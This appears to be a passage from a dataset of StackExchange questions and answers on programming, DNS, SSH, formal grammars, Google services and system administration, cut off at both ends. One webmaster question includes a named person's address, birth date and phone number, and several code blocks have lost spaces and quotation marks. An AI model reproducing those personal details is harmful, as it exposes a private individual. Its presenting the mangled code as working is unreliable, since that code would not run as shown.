b set to 24.Putting these ideas together, autoAttack could be rewritten like so:autoAttack :: Actor -> Actor -> ActorautoAttack actor@(Actor {stats = stats@(StatsSystem {physicalDamage = p, health = h}})) =    actor {stats = stats { health = h - p } }Where we have used the syntax actor@(Actor ..) to bind the Actor to the name actor, which is a useful pattern for when you want to both pattern match on an argument and also have access to its value.Just to be clear, it is worth mentioning that, because data is immutable, changing a couple of fields involves making a full copy of the data structure.  (Thanks to Daniel Wagner for bringing this up)."  } 
{  "id": "_codereview.101796"  , "question": "Write a method rarest that accepts a map whose keys are strings and  whose values are integers as a parameter and returns the integer value  that occurs the fewest times in the map. If there is a tie, return the  smaller integer value. If the map is empty, throw an exception.For example, suppose the map contains mappings from students' names  (strings) to their ages (integers). Your method would return the least  frequently occurring age. Consider a map variable m containing the  following key/value pairs:{Alyssa=22, Char=25, Dan=25, Jeff=20, Kasey=20, Kim=20, Mogran=25,  Ryan=25, Stef=22} Three people are age 20 (Jeff, Kasey, and Kim), two  people are age 22 (Alyssa and Stef), and four people are age 25 (Char,  Dan, Mogran, and Ryan).So a call of rarest(m) returns 22 because only  two people are that age. If there is a tie (two or more rarest ages  that occur the same number of times), return the youngest age among  them. For example, if we added another pair of Kelly=22 to the map  above, there would now be a tie of three people of age 20 (Jeff,  Kasey, Kim) and three people of age 22 (Alyssa, Kelly, Stef). So a  call of rarest(m) would now return 20 because 20 is the smaller of the  rarest values.Here is the link to the question.publicintrarest(Map<String,Integer>m)throwsException{if(m.size()==0){thrownewException();//throwing an exception as per the question}else{Integercount=null;    //Creating a TreeMap to get the lowest age.TreeMap<Integer,Integer>t=newTreeMap<Integer,Integer>();for(Map.Entry<String,Integer>me:m.entrySet()){if(t.containsKey(me.getValue())){count=t.get(me.getValue());t.put(me.getValue(),count+1);}else{count=1;t.put(me.getValue(),count);}}//If there is tie I am comparing the frequenciesintfreq=t.get(t.firstKey());TreeSet<Integer>val=newTreeSet<Integer>();for(Integeri:t.keySet()){if(freq>t.get(i) ){freq=t.get(i);val.add(i);}}        if(val.size() > 0){           returnval.first();        }else{           return t.firstKey();        } }}It gives the correct results for the given test cases, but I feel there should be a better way to do this."  , "title": "Find the rarest in a map"  , "tags": "java;hash table;set"  , "accepted_answer": "public int rarest(Map<String, Integer> m) throws ExceptionSince this method does not require stateful information other than the method argument, you can mark it as static.Is this method expected to throw a checked Exception? If not, you are better off removing the throws declaration, as it otherwise forces callers to catch on an Exception, which is ambiguously broad.Ok, so you want to throw some kind of Exception when the method argument is empty (note: m.isEmpty() is preferred as it communicates the intent better). If that is the case, you should be throwing an unchecked runtime exception, such as IllegalArgumentException. Give a friendly description if required, e.g. throw new IllegalArgumentException(map cannot be empty).Generally, it is better to use longer, descriptive variable names in Java. The only 'exception' since Java 8 seems to be in lambda declarations, but don't take this as the norm... I simply prefer terser variable names in lambda declarations as well.(the following part is heavily inspired from my other answer to a recent, similar question)if(t.containsKey(me.getValue())) {    count = t.get(me.getValue());    t.put(me.getValue(), count+1);}else {    count = 1;    t.put(me.getValue(), count);}If you happen to be on Java 8, you can use Map.merge():t.merge(me.getValue(), 1, (a, b) -> a + b);What this means is to either add me.getValue() => 1 to t if it does not exist, or use the BiFunction lambda declaration to add the existing and new (i.e. 1) values.Your current solution for iterating through the ordered keys of t is fine, but since you're interested to learn more about the Stream-based processing features of Java 8, here goes...So, you roughly figured you need two steps to get your answer:Count the number of occurrences for each ageYou can apply a groupingBy() on m's values, using Collectors.counting() to populate the intermediate map's values:// assume map is the method argumentMap<Integer, Long> temp = map.entrySet().stream()    .collect(Collectors.groupingBy(Entry::getValue, Collectors.counting()))Sort by the least values, then by the youngest ageFrom this intermediate map, you can stream the entries, sort by the values using a custom Comparator lambda declaration and then return the first entry, i.e. the rarest:temp.entrySet().stream()    .sorted((e1, e2) -> {         int v = e1.getValue().compareTo(e2.getValue());        return v != 0 ? v : e1.getKey().compareTo(e2.getKey());    })    .findFirst().map(Entry::getKey).get().intValue();Putting it altogether, you will have a nice, compact rarest() method:public static int rarest(Map<String, Integer> map) {    return map.entrySet().stream()            .collect(Collectors.groupingBy(Entry::getValue,                    Collectors.counting()))            .entrySet().stream()            .sorted((e1, e2) -> {                 int v = e1.getValue().compareTo(e2.getValue());                return v != 0 ? v : e1.getKey().compareTo(e2.getKey());            })            .findFirst().map(Entry::getKey).get().intValue();}edit: Once again, @Misha's answer is a welcome improvement of mine, do take a look at that too!"  } 
{  "id": "_webmaster.20739"  , "question": "At some point this year, Google Search started to show the publication date.When I updated my website, I noticed that the publication date was actually my birthday, simply because it's the first date googlebot encounters.I can't delete it because it would defy the whole My website is my Resume idea.I tried to solve the problem by wrapping it in address tag and putting the date in time tag with datetime attribute, but it didn't work out.<address>    <ul>        <li>            Porte  Camp 5 <br/>            7971 Bascles <br/>            BELGIQUE        </li>        <li>             <time datetime=1984-01-29>29/01/1984</time><br/>            Belge/Russe        </li>        <li>            +32 (0)493/.49.18.23<br/>            <span id=mail>razine.ivan</span> |             <a href=http://bit.ly/qzITgb class=red>Tlcharger CV</a>        </li>    </ul></address>So far, the only way I could solve it is by deleting q=show+the+publication+date from the url.I have no clue how to fix that. Any ideas?This is my web page: ivanrazine.beAnd this is the search result (4th position): google search"  , "title": "Google search : pubdate issue"  , "tags": "seo;google;html5;search;googlebot"  , "accepted_answer": "You can use the meta-tag last updated like that:<meta name=last_updated content=2001-08-28>"  } 
{  "id": "_unix.156908"  , "question": "While there are many questions on this site and others addressing this very issue, I haven't yet found one that seems to address what I'm experiencing.When trying to ssh a linux box from a MBpro running Lion, I get the following error:gjohnson5@Gentrys-MacBook-Pro:~$ ssh -v user@server_nameOpenSSH_5.6p1, OpenSSL 0.9.8y 5 Feb 2013debug1: Reading configuration data /etc/ssh_configdebug1: Applying options for *debug1: Connecting to server_name[ip_address] port 22.debug1: Connection established.debug1: identity file /Users/gjohnson5/.ssh/id_rsa type -1debug1: identity file /Users/gjohnson5/.ssh/id_rsa-cert type -1debug1: identity file /Users/gjohnson5/.ssh/id_dsa type -1debug1: identity file /Users/gjohnson5/.ssh/id_dsa-cert type -1ssh_exchange_identification: Connection closed by remote hostThe strange thing is that I get this error intermittently. Sometimes rebooting my machine and trying again will get me into the server no problem. Other times, the error persists. Occasionally, I will successfully log on, close the connection, try to reconnect a few seconds later, and then receive the error.Now, I've tried clearing the ~/.ssh/known_hosts file, and I've found that trying to log on as a different user on my same machine still throws the error. I cannot check /etc/hosts.allow and /etc/hosts.deny since I cannot access the server and my employer's IT is, unfortunately, being unresponsive. I can't imagine that would be the issue, however, as I am occasionally able to log into the server using my machine. It seems like the problem might be with some configuration on my machine (??), though I'm relatively unexperienced with this and wouldn't know where to start looking.EDIT:As per request, this is the result of checking MaxStartups:cat /etc/ssh/sshd_config | grep MaxStartups#MaxStartups 10:30:60"  , "title": "Intermittent 'ssh_exchange_identification: Connection closed by remote host' error"  , "tags": "ssh;remote;openssh"  } 
{  "id": "_softwareengineering.266436"  , "question": "The context: For all intents and purposes, I feel like I'm about the level of a pretty competent second year student at computer science. I have taken all the basic algorithms and systems classes; my C is pretty good, and I can even read disassembly  with a bit of effort. OOP. Algo. P vs NP. Let's call this the old school stuff.My specific question is this: I can't figure out what topic these terms fall under, and in my mind, I call this the new school stuff. I'm struggling with terminology here, but for the lack of a better word, what topic do these things fall under?design patternsreactive programmingMVCevent-driven programmingthe stack, i.e. a full-stack developeragile developmentsoftware as a servicearchitecture"  , "title": "Design patterns, Reactive programming, etc...How do these terms fit together?"  , "tags": "terminology;education"  } 
{  "id": "_codereview.24165"  , "question": "I have a model class Product that gets populated from a service DTO object (using AutoMapper).  The service is used to power many different applications and for each one the Product Model might need to behave a bit differently.  After a bit of research I decided the 'Decorator' pattern might be a good choice to accompany these differences.  Here is how I currently have implemented it.  These classes are part of a library that gets included in each of the applicationspublic class Product{    public virtual string ProductName { get; set; }    public virtual Decimal Price { get; set; }    public virtual string ImageUrl { get; set; }    public virtual string GetImageUrl(){        return ImageUrl;    }}public abstract class ProductDecorator : Product{    private Product decoratedProduct; // the product being decorated    protected ProductDecorator(Product decoratedProduct)    {        this.decoratedProduct = decoratedProduct;    }    public override string ProductName    {        get        {            return decoratedProduct.ProductName;        }        set        {            decoratedProduct.ProductName = value;        }    }    public override decimal Price    {        get        {            return decoratedProduct.Price;        }        set        {            decoratedProduct.Price= value;        }    }    public override string ImageUrl    {        get        {            return decoratedProduct.ImageUrl;        }        set        {            decoratedProduct.ImageUrl= value;        }    }}In each application there may be need to slightly change the model.public class FooProduct : Model.ProductDecorator{    public FooProduct (Model.Product product) :base(product){}    //we want to serve the image through a cdn    public override string GetImageUrl()    {        return string.Format(cnd.network.com?url={0}, HttpUtility.HtmlEncode(ImageUrl));     }}Usage would be something like this: FooProduct prod = new FooProduct(productClient.GetProduct(23213)); Response.Write(prod.GetImageUrl());This is my first time using this pattern and I'm not sure if I've got it quite right or if it really applies to this scenario.  Are there any foreseeable issues with this solution?UpdateI think I need to explain a little more how I got here.I created a class library to encapsulate an wcf service.  The library takes the DTO's returned by the service and using AutoMapper, maps the DTO to the Product class.  The issue is that the product model needs to be a bit different for each of the applications consuming the service.  Just using simple inheritance not quite right because a FooProduct needs to pretty much be exactly the same as a Product but just handle the data a bit differently.  // this returns a Product, but for this site I need a FooProductvar product = Client.GetProduct(232); This problem is probably a result of bad design in lower layers and from the use of AutoMapper in Client Library.  "  , "title": "Is this correct usage of the Decorator Pattern?"  , "tags": "c#;design patterns"  } 
{  "id": "_codereview.161457"  , "question": "Suppose there is a very big matrix and and a small window is moving on the matrix. The small window will move right and down, step by step (means each time move one step right, or move one step down). After each move, set all the values covered by the small window to be the average value of all values covered by the small window.The major idea of my code is to maintain the current sum, and when moving right, subtract one column sum value, and add the rightmost new column value, and get average then reset matrix values. Similarly, when moving down, subtract one row sum value, and add the bottom most new row value, and get average then reset matrix values.import randomfrom collections import defaultdictclass BigMatrix:    def __init__(self, matrix, window_left_top_row, window_left_top_col, window_width, window_height):        self.matrix = matrix        self.window_left_top_row = window_left_top_row        self.window_left_top_col = window_left_top_col        self.window_width = window_width        self.window_height = window_height        self.init_window_sum()    def init_window_sum(self):        result = 0        for r in range(self.window_left_top_row, self.window_left_top_row+self.window_height):            for c in range(self.window_left_top_col, self.window_left_top_col+self.window_width):                result += self.matrix[r][c]        self.sum_so_far = result        a = result / (self.window_height * self.window_width)        self.set_matrix_values(a)    def set_matrix_values(self, v):        for r in range(self.window_left_top_row, self.window_left_top_row+self.window_height):            for c in range(self.window_left_top_col, self.window_left_top_col+self.window_width):                self.matrix[r][c] = v    def move_right(self):        if (self.window_left_top_col + self.window_width) >= len(self.matrix[0]):            raise Exception('invalid move!')        self.window_left_top_col += 1        # update sum so far        self.sum_so_far -= self.sum_so_far / self.window_width        for r in range(self.window_left_top_row, self.window_left_top_row+self.window_height):            self.sum_so_far += self.matrix[r][self.window_left_top_col+self.window_width-1]        a = self.sum_so_far / (self.window_height * self.window_width)        self.set_matrix_values(a)    def move_down(self):        if (self.window_left_top_row + self.window_height) >= len(self.matrix):            raise Exception('invalid move!')        # update sum so far        self.window_left_top_row += 1        self.sum_so_far -= self.sum_so_far / self.window_height        for c in range(self.window_left_top_col, self.window_left_top_col+self.window_width):            self.sum_so_far += self.matrix[self.window_left_top_row+self.window_height-1][c]        a = self.sum_so_far / (self.window_height * self.window_width)        self.set_matrix_values(a)if __name__ == __main__:    row = 10    col = 10    matrix = []    for i in range(row):        r = []        for j in range(col):            r.append(random.randint(0,9))        matrix.append(r)    window_row = 0    window_col = 0    window_width = 2    window_height = 2    for r in matrix:        print r    print ======    b = BigMatrix(matrix, window_row, window_col, window_width, window_height)    for r in b.matrix:        print r    print ======    b.move_right()    for r in b.matrix:        print r    print ======    b.move_down()    for r in b.matrix:        print r"  , "title": "Blurring an image using matrices"  , "tags": "python;algorithm;python 2.7;matrix"  } 
{  "id": "_unix.276900"  , "question": "I am trying to lookup the WhoIs entry for the following domain:anorien.csc.warwick.ac.ukHowever, while typing the URL directly into the browser displays a web-page, when I type:whois anorien.csc.warwick.ac.ukinto the Linux command-line I get the following error:No such domain anorien.csc.warwick.ac.ukHow is this possible?"  , "title": "Website is active but domain name not showing on WhoIs lookup from Linux command-line"  , "tags": "command line;dns;webserver;domain;whois"  , "accepted_answer": "The only valid WHOIS registrations are for licensed domains only.However, if you own the primary domain, you could setup your own WHOIS server that could be queried for subdomains that you register under you.Code:whois -h whois.yourdomain.com subdomain.yourdomain.comIt is not difficult to setup a whois server if you want to maintain one yourself."  } 
{  "id": "_cs.9804"  , "question": "Can someone help with this:  $L=\\{a^ib^j \\mid i,j \\ge 0 \\text{ and } i \\ne 2j\\}$  I'm trying to write a grammar for this language?I don't know how to do this.I tried this:$S \\rightarrow aaAb \\mid aA \\\\A \\rightarrow aA \\mid a$"  , "title": "Context Free Grammar for language $L=\\{a^ib^j \\mid i,j \\ge 0; i \\ne 2j\\}$"  , "tags": "formal languages;context free;formal grammars"  , "accepted_answer": "Consider the two languages:$L_1 = \\{a^ib^j \\mid i, j \\ge 0 \\text{ and } i > 2j\\}$$L_2 = \\{a^ib^j \\mid i, j \\ge 0 \\text{ and } i < 2j\\}$Convince yourself that $L = L_1 \\cup L_2$.In $L_1$, the number of $a$'s are more than double of $b$'s, so there has to be atleast one $a$ (when there are no $b$'s). Also, for every addition of $b$, atleast 2 $a$'s must be added. You can generate $L_1$ as:$S_1 \\rightarrow aA \\\\A \\rightarrow aaAb \\mid aA \\mid \\varepsilon$$L_2$ is a little more tricky. The number of $a$'s are less than double the number of $b$'s, so there can be $0$ $a$'s, but non-zero $b$'s. Consider the base case of $1$ $b$. The string can be either $b$ or $ab$. We will let the first rule generate this base case. After that, notice that for every addition of $b$, we can increase the number of $a$'s by at most $2$. So we can add $0$, $1$, or $2$ $a$'s for every addition of $b$. We'll let the second rule handle this. So, the CFG for $L_2$ becomes:$S_2 \\rightarrow Bb \\mid aBb \\\\B \\rightarrow Bb \\mid aBb \\mid aaBb \\mid \\varepsilon$Note that CFG's are closed under union, that is, the union of two CFG's is also a CFG. So, to get the CFG for $L$, let the starting state $S$ of $L$ lead to either the starting state of $L_1$, or of $L_2$:$S \\rightarrow S_1 \\mid S_2$The rest of the rules remain the same as in the two languages. There may be a simpler grammar, but this was the first that came to mind."  } 
{  "id": "_webapps.27642"  , "question": "Google allows us to use many of its services without having a Gmail account. But when I visit Google+ and click on the Sign Up button, it asks to select a new username and create a new password.Is it possible to create a new Google+ Account without a Gmail address, but with, say, a Yahoo address?"  , "title": "Creating Google+ Account without Gmail address"  , "tags": "gmail;google;google plus;yahoo"  , "accepted_answer": "Yes, you can create a Google account with your Yahoo email addressor any other email address, for that matterif you follow this link: https://accounts.google.com/NewAccount.Just to make things clearer because your question mixes some issues that might lead to confusion:If you want to sign up for Google Plus with a Yahoo email address and you already have a Google account under that address, you cannot sign up for Google Plus separately. It will all be linked in your Google account.If you use only Google services that do not require a Google accountsuch as Search, Maps, Translateand you have not created one yet, you will be forced to create a Google account upon signing up for Google Plus. After all, it is linked to your identity and therefore you need to create an account (I know I am stating the obvious, but one should never assume any prior knowledge)."  } 
{  "id": "_webmaster.82793"  , "question": "I am currently building a website for a client who purchased their own domain and email on Godaddy. They have been using the email for a considerable amount of time now and only recently decided to get a website which is where I come in. There is a godaddy mobile app which is what the client uses to check their email on mobile devices and if on a desktop / laptop they just log into godaddy so they dont use any other email clients than that.I re-directed the DNS (prior to realising that the client had email through godaddy) to my hosting provider and that all worked fine except it broke the email. Godaddy provides MX records and also CNAME but the CNAME just gives details for pop, imap and SMTP. Arent these A records?If my client is only using Godaddy and no external clients then will I get away with just supplying the correct MX records to my hosting provider and give godaddy the new ns records?Just to clarify. I need to host the website with a separate host but keep the email functionality on godaddy...is this possible?"  , "title": "Keep email with registrar but host website elsewhere"  , "tags": "web hosting;dns;email;mx"  , "accepted_answer": "An alternative is to keep the email with your server as it is now, log into the go daddy email accounts using something like outlook (you can do this by using the IP address of the godaddy email servers rather than the old godaddy pop/imap servers)Setup the new email accounts using IMAP copy all the old emails to the new email accounts, and re-setup you clients email accounts using email clients and IMAP, so it syncs emails over their multiple devices.Or if its mission critical to keep email with Godaddy its possible to do so by setting the MX records on your domain control panel to point back to Godaddys email servers.  This is all dependant on if your control panel is easy to use or not;)Here are Godaddys MX records....https://support.bigcommerce.com/articles/Public/How-can-I-point-my-e-mail-towards-GoDaddy#mx-records"  } 
{  "id": "_codereview.157394"  , "question": "Recently, I've solved this Number of Islands problem on LeetCode, the solution was accepted by the LeetCode OJ.Problem DescriptionGiven a 2d grid map of '1's (land) and '0's (water), count the number  of islands. An island is surrounded by water and is formed by  connecting adjacent lands horizontally or vertically. You may assume  all four edges of the grid are all surrounded by water.Examples/Test CasesA single island:111101101011000000003 islands:11000110000010000011The SolutionThe idea behind the solution posted below is to:iterate over every cell of the gridwhen find a 1 value, increment the island counter, use the BFS to find all cells in the current islandmark all the cells in the current island with value 2The Code:from collections import dequeclass Solution(object):    def append_if(self, queue, x, y):        Append to the queue only if in bounds of the grid and the cell value is 1.        if 0 <= x < len(self.grid) and 0 <= y < len(self.grid[0]):            if self.grid[x][y] == '1':                queue.append((x, y))    def mark_neighbors(self, row, col):        Mark all the cells in the current island with value = 2. Breadth-first search.        queue = deque()        queue.append((row, col))        while queue:            x, y = queue.pop()            self.grid[x][y] = '2'            self.append_if(queue, x - 1, y)            self.append_if(queue, x, y - 1)            self.append_if(queue, x + 1, y)            self.append_if(queue, x, y + 1)    def numIslands(self, grid):                :type grid: List[List[str]]        :rtype: int                if not grid or len(grid) == 0 or len(grid[0]) == 0:            return 0        self.grid = grid        row_length = len(grid)        col_length = len(grid[0])        island_counter = 0        for row in range(row_length):            for col in range(col_length):                if self.grid[row][col] == '1':                    # found an island                    island_counter += 1                    self.mark_neighbors(row, col)        return island_counterif __name__ == '__main__':    grid = 11000    11000    00100    00011    grid = [list(line) for line in grid.splitlines()]    print(Solution().numIslands(grid))The Questions:Is it the most optimal solution to the problem, or is there a more efficient approach? What would you improve code-quality or code-organization wise?"  , "title": "Number of Islands in a 2d grid"  , "tags": "python;python 3.x;breadth first search"  , "accepted_answer": "ComplexityEach cell will be accessed at most 5 times (once to check itself, once per each neighbour that are on land, as part of their BFS search).This means your overall complexity is O(n) (n being the total number of cells). so your algorithm has optimal complexity.Another way to come to this conclusion is to note that BFS is optimal for flood-filling an area, and you're flood-filling each island once and once only, while water cells are scanned and skipped.OptimizationThere are a few things to do to speed-up the algo.One is to use the borders as the Problem statement hinted at:You may assume all four edges of the grid are all surrounded by waterIt is common practice to load up your map in an (w+2)x(h+2) area (w and h being width and height), and fill the borders with water (0s in your case).While this doesn't change much the complexity (O((w+2)x(h+2)) ~ O(n)), this allows you to ommit bounds checking like you do in append_if method.To leverage this boundary, you iterate on the inside (x = 1..w & y = 1..h), so you omit x = 0, y =0, x = w+1, y = h + 1 in the double-for search. The gain is that when accessing a cell's neighbours you'll have the guarantee that x-1, x+1, y-1 and y+1 are never out of bounds. This saves a lot of conditions computing and ifs.This also allows you to inline access instead of extracting it in a method call due to its increased simplicity. This means even less overhead.Using a dictIf the map was a dict: cellPosition -> CellType, you'd have the ability to remove the cells uncovered by BFS from the map altogether, which would prevent you from checking them later in your scanning loop. But that's a very small optimization, also access would be slower so I don't think it's worth it.Code ClarityVery easy code to follow.Comments are good.Naming is spot on. Solution could have been IslandCounter, but I suppose it's a limitation of the website.I didn't understand that part:        :type grid: List[List[str]]    :rtype: int    But I'm a non-native python coder, so I'll let others chime in."  } 
{  "id": "_reverseengineering.9276"  , "question": "When I define data as a structure with IDAPython, it appears in IDA View in a collapsed view. Out of curiosity, is it possible to programmatically expand the view of the structure?For example, if I run MakeStructEx(0x400000, -1, IMAGE_DOS_HEADER), I see:IMAGE_DOS_HEADER <5A4Dh, 90h, 3, 0, 4, 0, 0FFFFh, 0, 0B8h, 0, 0, 0, \\                  40h, 0, 0, 0, 0, 0, 0E0h>But I would like to see:dw 5A4D                ; e_magicdw 90h                 ; e_cblpdw 3                   ; e_cpdw 0                   ; e_crlc... (lines removed) ...dd 0E0h                ; e_lfanewI am using IDA 6.2."  , "title": "Can I expand the view of a structure in IDAPython?"  , "tags": "ida;idapython"  } 
{  "id": "_unix.49559"  , "question": "I would like to keep timestamps on the commands logged in my Bash $HISTFILE, is it possible?I did not manage to set it up using man bash as an information source. My other options are as follows:function thebanana() {  local -r -a bash_commands=(    ls    # ... more coconut commands  )  for bash_command in ${bash_commands[@]}; do    printf ${bash_command}    printf :  done}export HISTFILE=bananaexport HISTIGNORE=$(thebanana)export HISTSIZE=999999export HISTFILESIZE=999999999export HISTCONTROL=ignoredups:erasedupsI should have mentioned I am on OS X Mountain Lion (sigh). uname -a gives me:Darwin CoconutMac.local 12.2.0 Darwin Kernel Version 12.2.0: Sat Aug 25 00:48:52 PDT 2012; root:xnu-2050.18.24~1/RELEASE_X86_64 x86_64and echo $BASH_VERSION gives me:3.2.48(1)-releaseTried adding this:export HISTTIMEFORMAT='%b %d %I:%M:%S %p 'and it only prefixes this kind of timestamps to commands:#1349057791I try echoing back the variable (echo $HISTTIMEFORMAT), it has the right value.Interesting!I even removed .profile completely to debug this. Still only funny timestamps:#1349058320I don't know how to further troubleshoot this... :(Solution: I was using a script that reads the $HISTFILE directly, not the history built-in so the epoch-based timestamp (secs since Coordinated Universal Time (UTC) of January 1, 1970) was not being translated using the date formatting string. Plain-old history works fine, I'll use that instead."  , "title": "Bash history with timestamps"  , "tags": "bash;osx;command history"  , "accepted_answer": "Yes, put this in ~/.bashrc :export HISTTIMEFORMAT='%F %T 'Then, run the following commands :. ~/.bashrchistoryIt will look like this : (...) 5200  2012-09-30 23:55:37 find -printf '%Ts %f\\n' 5201  2012-10-01 00:00:58 ls 5202  2012-10-01 00:03:45 cd (...)Explanations of the output :first col is the unique idsecond one is the date, third is the hourlatest is your command line"  } 
{  "id": "_softwareengineering.242678"  , "question": "is polymorphism only possible when there is a scenario of inheritance or is the implementation of polymorphism not dependent on inheritance.Or is polymorphism mainly usefull when there is inheritance ?"  , "title": "Condition to use polymorphism"  , "tags": "java;c#"  } 
{  "id": "_softwareengineering.331823"  , "question": "I apologize in advance if the question is not directly involved in programming but I could not find a forum of programmers who deal with general questions.I am developing a cross-organization application.For a person that has no programming knowledge at all,the final product looks fairly simple - a desktop application with a business dashboard.But the App is much more complicated than that.the database is fed by users who use the application (a lot of formsto enter validated data).all company structure objects are modular and must be flexible to all changes in the company units hierarchy.business logic is very complicated - there are complex parameters to show like sales or revenue goals that are affected by multiple parameters and calculations.GUI must be good-looking and good UX design is a must, including a lot of multithreading stuff, also because its Winform platform, there are not many libraries to use so i am writing all the graphics and animation by myself.a lot of other stuff like connecting to company AD, modules that print data to excel files, bugs, QA, memory and efficiency issues..you know the business..I am developing the project by myself including the environment of servers, communication to all users IPs etc..I believe I am an agile programmer but as you know development takes time...ok after all that heart-rendingstory here is my question:My manager doesn't have any programming knowledge and she thinks that I am taking time and not working hard enough.I tried to explain her why it's taking time, why I should not hardcode a program in order to reduce development time, how structures are translated to OOP objects and the time it consumes. But she wouldn't understandand thinks I am not telling her the truth about the real development time needed.Please give me advice, how can I explain all of that to a layman in plain English?"  , "title": "How to explain to a layman the disadvantages of HardCoding and not using OOP principles?"  , "tags": "object oriented"  , "accepted_answer": "Organize a meeting.  Involve a few more people than just your immediate manager just as 3rd party observer.Explain in very conceptual terms what you are doing and how long it will take, and explain options.For example:Dear Manager & Co, you have expressed that you are seeking to build  a Business Dashboard and to you the end product look simple.  But to  build it it is not so.  I need parts A, B, C, D, and they take  respectively 1 month, 2 month, 4, month and 8 month to build.There are also 2 approaches to building software:  Hardcode and OOP.Hardcode will make it work sooner but it will create a lot of problems  for me and other programmers down the road.  This phenomenon is so  frequent it got a name of Technical Debt. OOP will get you the product in X amount of time longer, but it will  be much easier to modify and change it to your needs over a longer  period of time.Use analogy, for example .. it may take you faster to build a ladder to climb on top of 2nd floor building, but ladder cannot hold two persons at once and will break.  It will take you a lot longer to build stairs to the 2nd floor, but many people will use it for a long time.  It is a lot easier to maintain stairs in the long run, because the structure is sturdy, while ladders have to be fixed more often from wear and tear because they are just planks hammered together with nails.Now with that information what product do you want and how well-built  do you want it?In the end, manager will have to trust or not trust your judgment (you are the expert, she's not)make a choice (Hardcode with technical debt or OOP)hire or not hire more programmers to help youTo summarize you have toexplain in conceptual terms (without too many details) what you are tasked with to dotrust your manager to trust you (or get out)ask for what the manager wants you to build, once they have knowledge of their optionsAlso, have a good idea on time estimates of how long it will take you to build parts of software using this or that way, and why, and be prepared to answer questions about it.  It may help you to put together a document on proposed software features and approximate time and complexity that is involved into making them happen.And also, you are the expert and you can refuse (or not even mention) that there are deficient ways to do the job.  You can refuse to do bad work."  } 
{  "id": "_unix.289554"  , "question": "f2fs supports per-file encryption, however I can't find any resources about it.I know about eCryptFS, LUKES and encfs, that's not the same."  , "title": "How to encrypt a file or a folder on f2fs?"  , "tags": "encryption;f2fs"  } 
{  "id": "_unix.377275"  , "question": "In my OpenVZ quest v2.0 I struggled with the installer on an older Dell PowerEdge T105 equipped with an AMD Opteron 1214 (Santa Ana) processor. I was surprised as OpenVZ 7 installer slapped a no virtualisation support, this machine can only run containers . The server is not recent but I was certain it had AMD virtualisation technology, back in the day. And I checked: indeed svm is listed in /proc/cpuinfo; only rvi is absent. Wait, does svm no longer suffice now?So does that make this old Dell server obsolete for virtualisation? Do I have to buy a new one? Or can I still somehow have virtual machines managed with OpenVZ in spite of just containers?"  , "title": "Can I really *not* use OpenVZ 7 virtualisation on an AMD Opteron without RVI?"  , "tags": "virtual machine;hardware;openvz"  } 
{  "id": "_codereview.71851"  , "question": "Enough with imprecise floating point datatypes called float anddouble. I present to you Rational. Of course, Rational number arithmetic is easy, so I took up a much more interesting challenge: Rational Number Approximation. This is what I  have implemented in my code. I have employed a technique similar to binary search, the only difference being that I am the mediant in place of the middle element.Rational.java/** * This class encapsulates a <em>Rational</em> number. Any rational number * {@code R} can be represented as a quotient of two whole numbers, * {@code p}, and {@code q}. Provided a decimal number, * this class can approximate the numerator and denominator to precision of * 1E-11 (the default). It is also a handy implementation for approximating * irrational values like that of {@link java.lang.Math#PI Math.PI}, * or {@link java.lang.Math#E Math.E}, or the golden ratio: &phi;. * * @author Subhomoy Haldar (ambigram_maker) * @version 1.1 */public class Rational {    /**     * A public constant that defines the rational value of 0.     */    public static final Rational ZERO = new Rational(0, 1);    /**     * A public constant that defines the rational value of 1.     */    public static final Rational ONE = new Rational(1, 1);    /**     * A public constant that defines the rational value of 0.5.     */    public static final Rational HALF = new Rational(1, 2);    /*     * The Lowest and the Highest levels of precision allowed.     */    private static final double LWST_PREC = 1E-3;    private static final double HIST_PREC = 1E-16;    private static double precision = 1E-10;    private final long num;    private final long den;    private final double result;    /**     * Creates a new {@code Rational} with the given numerator and     * denominator. It has special cases for Positive Infinity     * ({@link java.lang.Double#POSITIVE_INFINITY Double.POSITIVE_INFINITY}),     * Negative Infinity ({@link java.lang.Double#NEGATIVE_INFINITY     * Double.NEGATIVE_INFINITY}) and Not A Number     * ({@link java.lang.Double#NaN Double.NaN}.     *     * @param numerator   The numerator.     * @param denominator The denominator.     */    public Rational(long numerator, long denominator) {        // for dealing with infinities and NaN:        if (denominator == 0) {            den = 0;            if (numerator > 0) {                num = 1;                result = Double.POSITIVE_INFINITY;            } else if (numerator < 0) {                num = -1;                result = Double.NEGATIVE_INFINITY;            } else {                num = 0;                result = Double.NaN;            }            return;        }        if (denominator < 0) {            numerator = 0L - numerator;            denominator = 0L - denominator;        }        num = numerator;        den = denominator;        result = (double) numerator / denominator;    }    /**     * Creates a new {@code Rational} object that approximates the value of     * the decimal to the set level of {@link #getPrecision() precision}. It     * is also capable of approximating irrational values like     * {@link java.lang.Math#PI Math.PI}, {@link java.lang.Math#E Math.E} or     * the golden ratio, &phi;.     *     * @param decimal The value to approximate.     */    public Rational(double decimal) {        // Exit clauses:        if (decimal == Double.NaN) {            num = 0;            den = 0;            result = Double.NaN;            return;        }        if (decimal == Double.POSITIVE_INFINITY) {            num = 1;            den = 0;            result = Double.POSITIVE_INFINITY;            return;        }        if (decimal == Double.NEGATIVE_INFINITY) {            num = -1;            den = 0;            result = Double.NEGATIVE_INFINITY;            return;        }        long nu, de;        long whole = 0;     // fail-safe value        boolean negative = decimal < 0;        decimal = Math.abs(decimal);        boolean hasWhole = decimal >= 1;        if (hasWhole) {     // keep fractional part.            whole = (long) decimal;            decimal -= whole;        }        if (decimal == 0) { // no fractional part present or 0 input            num = negative ? 0L - whole : whole;            den = 1;            result = negative ? 0D - whole : whole;            return;        }        // initially, the extreme points are 0 and 1.        // decimal always lies in the interval: (n1/d1, n2/d2)        long n1 = 0, d1 = 1;        long n2 = 1, d2 = 1;        double epsilon;     // the error amount in the approximation.        while (true) {            long n = n1 + n2, d = d1 + d2;            double result = (double) n / d;            epsilon = Math.abs(result - decimal);            if (epsilon <= precision) {     // goal reached                nu = n;                de = d;                break;            } else if (result < decimal) {  // increase lower bound                n1 = n;                d1 = d;            } else {                        // increase upper bound                n2 = n;                d2 = d;            }        }        if (hasWhole) {     // add the whole part to the fraction            nu += de * whole;        }        num = negative ? 0L - nu : nu;        den = de;        result = (double) num / den;    }    /**     * Returns the set level of precision. The <i>default</i> level of     * precision is {@code 1.0E-10}, unless changed.     *     * @return The level of precision.     */    public static double getPrecision() {        return precision;    }    /**     * Changes the set level of precision. However, the maximum and minimum     * levels of precision are defined and the value of precision     * <i>snaps</i> to these values if the parameter is <i>more</i> or     * <i>less</i> than them, respectively.     *     * @param precision The level of precision to set.     */    public static void setPrecision(double precision) {        if (precision < 0) precision = 0D - 